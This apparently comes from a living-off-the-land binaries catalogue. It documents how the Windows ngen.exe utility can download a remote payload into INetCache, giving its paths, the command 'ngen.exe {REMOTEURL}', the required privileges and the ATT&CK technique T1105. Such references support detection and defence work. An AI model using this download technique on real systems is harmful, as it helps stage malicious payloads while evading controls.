Microsoft Native Image Generator.
Paths:
- C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
Download
-
Downloads payload from remote server using the Microsoft Native Image Generator utility.
ngen.exe {REMOTEURL}
- Use case
- It will download a remote payload and place it in INetCache.
- Privileges required
- User
- Operating systems
- Windows 10, Windows 11
- ATT&CK® technique
- T1105
- Tags
Download: INetCache